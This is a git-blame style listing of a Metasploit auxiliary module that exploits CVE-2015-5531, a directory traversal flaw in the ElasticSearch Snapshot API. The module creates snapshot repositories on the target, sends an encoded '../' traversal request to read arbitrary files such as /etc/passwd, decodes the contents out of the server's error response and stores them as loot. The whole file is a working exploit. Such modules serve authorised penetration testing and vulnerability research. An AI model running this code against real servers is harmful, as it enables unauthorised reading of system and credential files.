2015-10-13 12:05:58 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'json'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-10-13 12:05:58 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
|
2015-10-13 15:06:26 +00:00
|
|
|
'Description' => %q{
|
2015-10-16 15:47:19 +00:00
|
|
|
'This module exploits a directory traversal vulnerability in
|
|
|
|
ElasticSearch, allowing an attacker to read arbitrary files
|
|
|
|
with JVM process privileges, through the Snapshot API.'
|
2015-10-13 15:06:26 +00:00
|
|
|
},
|
2015-10-13 12:05:58 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-5531'],
|
2015-10-13 15:06:26 +00:00
|
|
|
['PACKETSTORM', '132721']
|
2015-10-13 12:05:58 +00:00
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-10-16 15:47:19 +00:00
|
|
|
'Benjamin Smith', # Vulnerability Discovery
|
|
|
|
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit Module
|
|
|
|
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit Module
|
2015-10-13 12:05:58 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
2015-10-16 15:47:19 +00:00
|
|
|
))
|
2015-10-13 12:05:58 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(9200),
|
|
|
|
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
|
|
|
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
|
2015-10-16 15:47:19 +00:00
|
|
|
], self.class
|
|
|
|
)
|
2015-10-13 12:05:58 +00:00
|
|
|
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
2015-10-16 15:59:04 +00:00
|
|
|
def check_host(ip)
|
2015-10-16 15:47:19 +00:00
|
|
|
res1 = send_request_raw(
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'),
|
|
|
|
'data' => '{"type":"fs","settings":{"location":"dsr"}}'
|
|
|
|
)
|
2015-10-13 12:05:58 +00:00
|
|
|
|
2015-10-16 15:47:19 +00:00
|
|
|
res2 = send_request_raw(
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'),
|
|
|
|
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'
|
|
|
|
)
|
2015-10-13 12:05:58 +00:00
|
|
|
|
2015-10-13 17:41:51 +00:00
|
|
|
if res1.body.include?('true') && res2.body.include?('true')
|
2015-10-16 15:59:04 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2015-10-13 12:05:58 +00:00
|
|
|
end
|
2015-10-16 15:59:04 +00:00
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
2015-10-13 12:05:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def read_file(file)
|
|
|
|
travs = '_snapshot/pwn/ev1l%2f'
|
|
|
|
|
|
|
|
payload = '../' * datastore['DEPTH']
|
|
|
|
|
|
|
|
travs << payload.gsub('/', '%2f')
|
|
|
|
travs << file.gsub('/', '%2f')
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Retrieving file contents...")
|
2015-10-13 12:05:58 +00:00
|
|
|
|
2015-10-13 17:41:51 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => travs
|
|
|
|
)
|
2015-10-13 12:05:58 +00:00
|
|
|
|
2015-10-13 15:06:26 +00:00
|
|
|
if res && res.code == 400
|
2015-10-13 12:05:58 +00:00
|
|
|
return res.body
|
|
|
|
else
|
2015-10-16 15:59:04 +00:00
|
|
|
print_status("Server returned HTTP response code: #{res.code}")
|
|
|
|
print_status(res.body)
|
2015-10-13 12:05:58 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Checking if it's a vulnerable ElasticSearch")
|
2015-10-16 15:59:04 +00:00
|
|
|
|
|
|
|
check_code = check_host(ip)
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("#{check_code.second}")
|
2015-10-16 15:59:04 +00:00
|
|
|
if check_host(ip) != Exploit::CheckCode::Appears
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2015-10-13 12:05:58 +00:00
|
|
|
filename = datastore['FILEPATH']
|
|
|
|
filename = filename[1, filename.length] if filename =~ %r{/^\//}
|
|
|
|
|
|
|
|
contents = read_file(filename)
|
2015-10-16 15:59:04 +00:00
|
|
|
unless contents
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("No file downloaded")
|
2015-10-16 15:59:04 +00:00
|
|
|
return
|
|
|
|
end
|
2015-10-13 12:05:58 +00:00
|
|
|
|
2015-10-13 15:06:26 +00:00
|
|
|
begin
|
|
|
|
data_hash = JSON.parse(contents)
|
2015-10-13 17:41:51 +00:00
|
|
|
rescue JSON::ParserError => e
|
|
|
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
2015-10-16 15:59:04 +00:00
|
|
|
return
|
2015-10-13 15:06:26 +00:00
|
|
|
end
|
|
|
|
|
2015-10-13 12:05:58 +00:00
|
|
|
fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
|
|
|
|
fname = datastore['FILEPATH']
|
|
|
|
|
|
|
|
path = store_loot(
|
|
|
|
'elasticsearch.traversal',
|
|
|
|
'text/plain',
|
|
|
|
ip,
|
|
|
|
fcontent,
|
|
|
|
fname
|
|
|
|
)
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("File saved in: #{path}")
|
2015-10-13 12:05:58 +00:00
|
|
|
end
|
2015-10-16 15:59:04 +00:00
|
|
|
end
|